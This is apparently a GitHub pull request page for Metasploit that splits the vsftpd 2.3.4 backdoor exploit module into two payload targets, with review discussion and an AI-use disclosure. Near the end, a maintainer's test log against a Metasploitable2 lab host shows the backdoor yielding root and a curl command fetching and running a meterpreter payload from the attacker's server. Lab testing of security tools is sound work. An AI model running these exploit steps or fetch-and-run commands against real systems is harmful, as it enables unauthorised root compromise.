Skip to content

Vsftpd dual target - #21861

Open
prithvee07 wants to merge 2 commits into
rapid7:masterfrom
prithvee07:vsftpd-dual-target
Open

Vsftpd dual target#21861
prithvee07 wants to merge 2 commits into
rapid7:masterfrom
prithvee07:vsftpd-dual-target

Conversation

@prithvee07

Copy link
Copy Markdown

Description

Addresses bwatters-r7's review feedback on #21792 ("Fix #21780: Fix vsftpd_234_backdoor: restore cmd/unix/interact payload compatibility"), applied on top of fix-vsftpd-234-payload-compat so it can be merged into that PR before it lands upstream.

The original PR added a module-level 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } } block and switched the default PAYLOAD to cmd/unix/interact. Because that Compat block lives at the module level, it applies to every target — narrowing payload selection to cmd_interact-type payloads only, for all users, and dropping support for the existing cmd/linux/* fetch-based payloads (e.g. cmd/linux/http/x86/meterpreter_reverse_tcp) that legacy-target users still rely on.

Per bwatters-r7:

"this PR needs to be changed so it keeps supporting all the current cmd/linux payloads as well as the interact payloads... the best way to support both would be to add a second target."

This PR does that:

  • Removed the module-level Compat block; the top-level Payload hash is back to its current-master shape (Space, BadChars, DisableNops only).
  • Target 0, "Linux/Unix Command" (default, DefaultTarget => 0, unchanged from current master): DefaultOptions['PAYLOAD'] stays cmd/linux/http/x86/meterpreter_reverse_tcp — the fetch-payload path works exactly as it does today.
  • Target 1, "Backdoor Command Shell" (new): scoped 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } } plus DefaultOptions['PAYLOAD'] => 'cmd/unix/interact', restoring direct interaction with the backdoor for users who select this target.

This relies on Msf::Module::Compatibility#compatible? merging target['Payload']['Compat'] on top of the module-level Compat hash only when that specific target is selected (lib/msf/core/module/compatibility.rb, the if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat'] branch) — so the cmd_interact restriction only kicks in for Target 1, not globally.

Related Issue: Addresses review comments on #21792 (fixes #21780)

Breaking Changes

None for Target 0 users (default target, default payload unchanged from current master). Target 1 is new; anyone currently relying on the single-target behavior added by the original PR (cmd/unix/interact as the sole default) will need to explicitly set TARGET 1 to get that behavior back — but that behavior wasn't in master yet, only in the still-open PR this builds on.

Reviewer Notes

Single-file diff, modules/exploits/unix/ftp/vsftpd_234_backdoor.rb only. Worth double-checking the Compat merge behavior in lib/msf/core/module/compatibility.rb against this module directly in a console (use, set TARGET 1, show payloads) to confirm Target 1 narrows to cmd/unix/interact-type payloads while Target 0 still lists the full cmd/linux/* set.

Verification Steps

    • ruby -c modules/exploits/unix/ftp/vsftpd_234_backdoor.rb — confirms syntax (already run, passes).
    • use exploit/unix/ftp/vsftpd_234_backdoor; show targets — confirm both targets are listed.
    • set TARGET 0; show payloads — confirm cmd/linux/* fetch payloads are listed and cmd/linux/http/x86/meterpreter_reverse_tcp is the default.
    • set TARGET 1; show payloads — confirm the list narrows to cmd_interact-type payloads and cmd/unix/interact is the default.
    • Full run against Metasploitable 2 (or equivalent legacy target) on both targets, confirming Target 0 still gets a fetch-based meterpreter session and Target 1 gets a direct interactive shell.

Test Evidence

ruby -c passes clean (see Verification Step 1). Flagging a gap honestly: I could not run tools/dev/msftidy.rb in this environment — it hard-requires the rubocop gem, which isn't installed here, and bundle exec also fails because the bundle isn't fully set up in this sandbox. I have not run this against a live FTP/vsftpd 2.3.4 target (e.g. Metasploitable 2) either — steps 2–5 above still need real console output from testing before this should be considered fully verified. Please run rubocop -a / msftidy.rb locally before merge.

Environment

Field Details
Operating System (fill in your dev OS)
Target Software/Hardware vsftpd 2.3.4 backdoor — (fill in test target, e.g. Metasploitable 2 / Ubuntu 8.04)
Docker Image / Vagrant Setup (fill in if used, otherwise remove this row)

AI Usage Disclosure

Claude (Anthropic) was used to design and implement the dual-target fix requested in review: tracing the framework's Compat merge logic to confirm a per-target Payload => Compat override actually works as bwatters-r7 described, then restructuring the module's Targets block accordingly. This has been syntax-checked only (see Test Evidence) — it has not been run against a live target or through the project's full msftidy/rubocop lint due to environment limitations in this session.

Pre-Submission Checklist

  • No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
  • Tested on the target environment specified in the Environment section above
  • Included RSpec tests for library changes (encouraged for lib/ changes — n/a, no lib/ changes here)
  • Read the CONTRIBUTING.md and module acceptance guidelines
  • Ran tools/dev/msftidy.rb / rubocop -a locally and resolved all issues (not runnable in this session — see Test Evidence)

revanth3205 and others added 2 commits August 18, 2026 03:29
Per bwatters-r7's review feedback on rapid7#21792
(revanth3205's fix-vsftpd-234-payload-compat branch): rather than globally
restricting the module's Compat block to cmd_interact (which would filter
out the existing cmd/linux/* fetch payloads for every user), split into
two targets so each payload family is scoped to its own target:

- Target 0 "Linux/Unix Command" (default, unchanged from current master):
  keeps cmd/linux/http/x86/meterpreter_reverse_tcp and the rest of the
  cmd/linux/* fetch payloads working exactly as before.
- Target 1 "Backdoor Command Shell": restores direct interaction with the
  backdoor via cmd/unix/interact, scoped with its own
  Payload => Compat => { PayloadType: cmd_interact, ConnectionType: find }.

This relies on Msf::Module::Compatibility#compatible? merging
target['Payload']['Compat'] on top of the module-level Compat hash when a
specific target is selected (lib/msf/core/module/compatibility.rb), so the
cmd_interact restriction only applies when a user explicitly selects
Target 1 instead of narrowing payload selection for everyone.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Ae2LTwjw9tvJqqGqqwjerz
@bwatters-r7

Copy link
Copy Markdown
Contributor

Are we good to close #21792?

@h00die h00die closed this Sep 2, 2026
@github-project-automation github-project-automation Bot moved this from Todo to Done in Metasploit Kanban Sep 2, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

@h00die, I meant we should close #21792, not this PR.
Also, I think you might have been thinking about #21788, which is not involved with this PR?
I'm going to reopen this because I think this was maybe a mistake? Right, @h00die?

@h00die

h00die commented Sep 2, 2026

Copy link
Copy Markdown
Contributor

yup, got my PRs mixed up and quick clicked! My fault, sorry for the confusion

@bwatters-r7

Copy link
Copy Markdown
Contributor

Testing

Tested on Metasploitable2

Target 0 — Fetch Meterpreter
  [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  [*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
  VERBOSE => true
  RHOSTS => 10.5.132.178
  TARGET => 0
  LHOST => 10.5.135.210
  [*] Command to execute on target: curl -so ./TKyplhsgGYPP http://10.5.135.210:8080/XxkGYHLLRPeF-dNg5adKgA;chmod +x
  ./TKyplhsgGYPP;./TKyplhsgGYPP&
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  [*] Fetch handler listening on 10.5.135.210:8080
  [*] HTTP server started
  [*] Adding resource /XxkGYHLLRPeF-dNg5adKgA
  [*] Started reverse TCP handler on 10.5.135.210:4444
  [*] 10.5.132.178:21 - Running automatic check ("set AutoCheck false" to disable)
  [*] 10.5.132.178:21 - Checking if backdoor has already been triggered (else exploit will fail)
  [*] 10.5.132.178:21 - Connecting to FTP service
  [*] 10.5.132.178:21 - Checking FTP banner
  [*] 10.5.132.178:21 - FTP banner: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - Trying to log into FTP (User: bAWh)
  [+] 10.5.132.178:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
  [*] 10.5.132.178:21 - Connecting to FTP service
  [*] 10.5.132.178:21 - Checking FTP banner
  [*] 10.5.132.178:21 - FTP banner: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - Trying to log into FTP via backdoor. User: KUSWE:)
  [*] 10.5.132.178:21 - 331 Please specify the password.
  [*] 10.5.132.178:21 - Trying to log into FTP via backdoor. Password: 7E9bJF
  [*] 10.5.132.178:21 - Connecting to backdoor on 6200/TCP
  [+] 10.5.132.178:21 - Backdoor has been spawned!
  [*] 10.5.132.178:21 - Trying 'id' command
  [+] 10.5.132.178:21 - UID: uid=0(root) gid=0(root)
  [*] 10.5.132.178:21 - Running: curl -so ./TKyplhsgGYPP http://10.5.135.210:8080/XxkGYHLLRPeF-dNg5adKgA;chmod +x
  ./TKyplhsgGYPP;./TKyplhsgGYPP&
  [*] Client 10.5.132.178 requested /XxkGYHLLRPeF-dNg5adKgA
  [*] Sending payload to 10.5.132.178 (curl/7.18.0 (i486-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1)
  [*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.178:46507) at 2026-09-02 16:09:25 -0500

  Active sessions
  ===============

    Id  Name  Type                   Information                        Connection
    --  ----  ----                   -----------                        ----------
    1         meterpreter x86/linux  root @ metasploitable.localdomain  10.5.135.210:4444 -> 10.5.132.178:46507 (10.5.132.178)

  [*] Running 'sysinfo' on meterpreter session 1 (10.5.132.178)
  Computer     : metasploitable.localdomain
  OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
  Architecture : i686
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  [*] Running 'getuid' on meterpreter session 1 (10.5.132.178)
  Server username: root
  [*] Killing all sessions...
  [*] 10.5.132.178 - Meterpreter session 1 closed.
Target 1 — Interact
  [*] Using configured payload windows/x64/meterpreter/reverse_tcp
  [*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
  VERBOSE => true
  RHOSTS => 10.5.132.178
  TARGET => 1
  [*] Exploit running as background job 0.
  [*] Exploit completed, but no session was created.
  [*] 10.5.132.178:21 - Running automatic check ("set AutoCheck false" to disable)
  [*] 10.5.132.178:21 - Checking if backdoor has already been triggered (else exploit will fail)
  [*] 10.5.132.178:21 - Connecting to FTP service
  [*] 10.5.132.178:21 - Checking FTP banner
  [*] 10.5.132.178:21 - FTP banner: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - Trying to log into FTP (User: aKZBh)
  [+] 10.5.132.178:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
  [*] 10.5.132.178:21 - Connecting to FTP service
  [*] 10.5.132.178:21 - Checking FTP banner
  [*] 10.5.132.178:21 - FTP banner: 220 (vsFTPd 2.3.4)
  [*] 10.5.132.178:21 - Trying to log into FTP via backdoor. User: g:)
  [*] 10.5.132.178:21 - 331 Please specify the password.
  [*] 10.5.132.178:21 - Trying to log into FTP via backdoor. Password: YI0TBW
  [*] 10.5.132.178:21 - Connecting to backdoor on 6200/TCP
  [+] 10.5.132.178:21 - Backdoor has been spawned!
  [*] 10.5.132.178:21 - Trying 'id' command
  [+] 10.5.132.178:21 - UID: uid=0(root) gid=0(root)
  [*] Found shell.

  Active sessions
  ===============

    Id  Name  Type   Information  Connection
    --  ----  ----   -----------  ----------
    1         shell               10.5.135.210:43995 -> 10.5.132.178:6200 (10.5.132.178)

  [*] Killing all sessions...
  [*] 10.5.132.178 - Command shell session 1 closed.

@bwatters-r7 bwatters-r7 moved this from In Progress to What about Second Review? in Metasploit Kanban Sep 2, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: What about Second Review?

5 participants